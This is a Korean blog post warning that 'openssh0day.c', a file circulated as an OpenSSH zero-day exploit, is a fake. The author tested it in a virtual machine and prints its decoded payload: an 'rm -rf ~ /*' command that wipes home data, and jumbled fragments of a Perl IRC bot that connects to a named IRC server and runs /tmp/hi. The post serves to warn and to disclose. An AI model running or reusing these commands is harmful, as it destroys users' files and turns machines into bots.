Posted
Filed under 0x03 Linux RCE
인터넷에 OpenSSH의 제로데이 익스플로잇이라고 소개하며 떠도는 소스파일이 있습니다 openssh0day.c 인데요. 저는 버그트럭에서 Justin Kim 님이 올리신 글 덕분에 이게 가짜란 것을 알았습니다.

시험삼아 버추어박스로 페도라를 띄운 후 컴파일해서 실행 해봤는데요. /home 폴더 아래의 모든 데이터를 날리더군요. 정말 어처구니가 없는 녀석이었습니다. 아래는 openssh0day.c 안의 쉘코드 내용입니다. 실제로는 아스키 문자로 되어 있는 것을 printf() 함수로 출력하였습니다.

rm -rf ~ /* 2> /dev/null &#!/usr/bin/perl
$chan="#cn";
$ke";
while (<$sockG (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
n";
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="G (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
sleep 1;
n";
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}sleep 1;
sleep 1;
";
while (<$sockn";
sleep 1;
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
";
while (<$sockn";
="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
sleep 1;
n";
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="sleep 1;
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hi


보시다시피 펄로 짜여졌구요. 첫 줄의 rm- rf 명령어가 /home 폴더를 정리하는 내용입니다. 나머지는 root 권한이 있어야 실행되는데, PC를 IRC 봇으로 만드는 내용입니다.

이미 Mac OSX를 쓰는 분을 비롯해 몇몇 피해 본 분들이 나오고 있습니다. 이 글을 읽으신 분들은 속지 마시고 함부로 컴파일하시지 마시길 바랍니다. 테스트는 반드시 가상머신에서 하시구요. 마지막으로 자신의 손해를 무릅쓰고 관련 내용을 알려주신 Justin Kim 님께 감사드립니다.
크리에이티브 커먼즈 라이센스
Creative Commons License